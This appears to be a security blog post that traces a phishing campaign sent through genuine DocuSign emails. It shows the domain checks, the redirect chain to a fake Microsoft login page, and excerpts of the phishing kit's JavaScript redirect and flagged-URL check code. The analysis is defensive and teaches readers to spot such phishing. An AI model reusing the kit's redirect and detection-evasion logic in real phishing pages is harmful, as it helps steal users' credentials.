Recently, we received several believable DocuSign phishing emails. Typically when we see phishing emails it’s pretty easy to identify them as malicious. These emails though were believable because they were legitimate DocuSign emails. Even though the emails were authentic, the documents served via DocuSign’s service were malicious. The attackers use this to collect valid Microsoft credentials. We share our exploration of the suspected phishing emails, how DocuSign uses domains in emails and details on malicious code.

Indicators explored

• Unexpected emails
• Unknown sender
• Suspicious links
• Non-secure links
• Unexpected domains
• Request for credentials

Investigative Journey

Strange Email Content

The original email highlighting clues that made us think phishing email:

1. HR shared a PDF as the display name for the From: email address (or sender). This recipient’s email address is not an “employee” email address, so receiving an HR email is strange.
2. New Employee as the email subject is suspicious because the recipient’s email address is not an “employee” email address.
3. murat kose as the display name for the To: email address (or recipient) is incorrect.
4. The email address visible in the body of the DocuSign email is not one that we knew.

From Email Address

Mousing over the From display name shows the sender’s email address. The sender was dse_NA4@docusign.net. For a legitimate DocuSign sent email we had expected docusign.com not docusign.net, note the .net instead of .com. This is not a strong indicator of badness but something that kept us curious. Depending on your email provider and if they don’t use DMARC, From email addresses are easily spoofed.

A sizeable, long-lived tech company like DocuSign should own the .net domain even if they don’t use it. So, below we investigate the docusign.net domain.

We also used mouse-over on the yellow Review Document button in the email body to see the web link. Again, we saw docusign.net.

docusign.net domain

Using the whois database, we surfaced the domain’s registered owner. DomainTools has a nifty interface to explore whois data located here. We compared the details for docusign.net and docusign.com; they both appeared to be owned/registered by the same entity.

1. The Dates section shows it’s been around since 1999. It’s not a strong indicator, but added context. We’d be more skeptical if it were registered last month.
2. The IP section shows the IP address is associated with Docusign Inc.
3. DOCUS-6-PROD is shown as the name of ASN62856. The name gives the impression it may be DocuSign.

In the raw details from the whois database, DocuSign, Inc. is listed as the Registrant Organization.

<...snip...>
Registry Registrant ID: 
Registrant Name: 
Registrant Organization: DocuSign, Inc.
Registrant Street: 
Registrant City: 
Registrant State/Province: CA
Registrant Postal Code: 
Registrant Country: US
Registrant Phone: 
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: REDACTED FOR PRIVACY (DT)
<...snip...>

ASN62856 (Autonomous System)

Autonomous Systems (AS) are the networks that interconnect to create the Internet. Simply stated, an AS is a set of IP addresses managed by the same entity. For more details we encourage you to explore Cloudflare’s description. A large company will commonly own a set of IP addresses and an ASN that represents that group of IP addresses. The ASN Database maps ASNs to owners. We used BigData Cloud, where we see the organization is Docusign, Inc.

At this juncture, we are confident docusign.net is owned by DocuSign.

How does DocuSign use docusign.net?

Googling uncovered documents on docusign.com that detailed how:

• Links in emails should be both https and docusign.net
• From email addresses should be @docusign.net

Documents:

• Combating Phishing
• Improper DocuSign Use

Even though we know docusign.net is expected for DocuSign emails; we’re still a little skittish, so we used the 32-character Document ID in the email to Access Documents from the docusign.com website rather than clicking the link in the email.

The document

This is where we learn it’s malicious. The DocuSign hosted document is visually non-standard. A DocuSign document shouldn’t ask you to log in to another website. The content of this document is:

• Faking blurred content behind the need to log in
• Assuring the user this is a Microsoft document
• Preparing the user to log in to Microsoft
• Luring the user to click a link

Hovering over the link, we see it’s http://ar<...snip...>/all.html. Although we haven’t shared the full domain name, this domain is in no way associated with Microsoft. The link’s protocol is http, if this was a valid Microsoft link it would be https. We’ve redacted the domain as it may be a compromised domain not purposefully associated with the attack.

What happens when clicked?

1. http://ar<...snip...>/all.html fakes office.com creating a “secure connection.”
2. It redirects to https://employee-signature.ourworkplace.io, where the user is presented with a reCaptcha validation box.
3. After the user clicks the reCaptcha, a new page loads a fake Microsoft login page.

At this point, the attackers are trying to collect valid Microsoft credentials.

office.com secure connection	reCaptcha	Fake Microsoft log in

outworkplace.io domain

This is the final landing location where it’s trying to collect credentials. Whois for ourworkplace.io shows the domain is only 3-days. This is highly suspect.

We did not explore the fake Microsoft login code to discover where the credentials are sent. There is likely yet another domain collecting the credentials from an HTML form submit.

Hopefully, you enjoyed the journey and can leverage the indicators to assess suspicious emails in the future.

Deeper Analysis

ESEV

We used ESEV to capture network events as Safari visited the website. We noticed another intermediate redirect to another domain, https://ham<...snip...>/all.html, before going to ourworkplace.io. Looking at the source code, it is virtually the same between the two sites they just have different redirect URLs. The ESEV screenshot shows the multiple redirects Safari (WebKit) takes on it’s journey to the final destination outworkplace.io.

Source Code

This code snippet is from all.html. The first two domains accessed use this code. Notice, much of the code up to var url = does not change what happens. Making most of the code junk code.

   async function redirectToRandomUrl() {
      if (urls.length === 0) {
        alert('No available URLs.');
        return;
      }

      const email = getEmailFromUrl();
      const randomUrl = urls[Math.floor(Math.random() * urls.length)] + (email ? '#' + email : '');
      
      function generateRandomStringxx(length) {
         var result           = '';
         var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
         var charactersLength = characters.length;
         for ( var i = 0; i < length; i++ ) {
            result += characters.charAt(Math.floor(Math.random() * charactersLength));
         }
         return result;
      }

      var subdomain = generateRandomStringxx(40);
      var url = "https://ham<...snip...>/all.html";
      window.location.href = url+email;
         
      //strtcvt   
      // Example usage: generate a random string of length 10
      // window.location.href = `https://${randomString}.ibonus-rtfkt.com`;
   }

    window.onload = redirectToRandomUrl;

The code below checks if the URL has been burned. But it was dead code, never called.

async function checkFlaggedUrl (url) {
    try {
        const response = await fetch(url);
        const content = await response.text();
        if (content.includes ('flagged_page_error_message')) {
            return true;
        }
    } catch (error) {
        console.error (`Error checking URL $(url):`, error);
    }
    return false;
}

Searching strings from the source code on Google, we can see a similar sample was detonated here and here in Sandboxes.

Here is another post from a few months back showing what appears to be the same or similar deception campaign.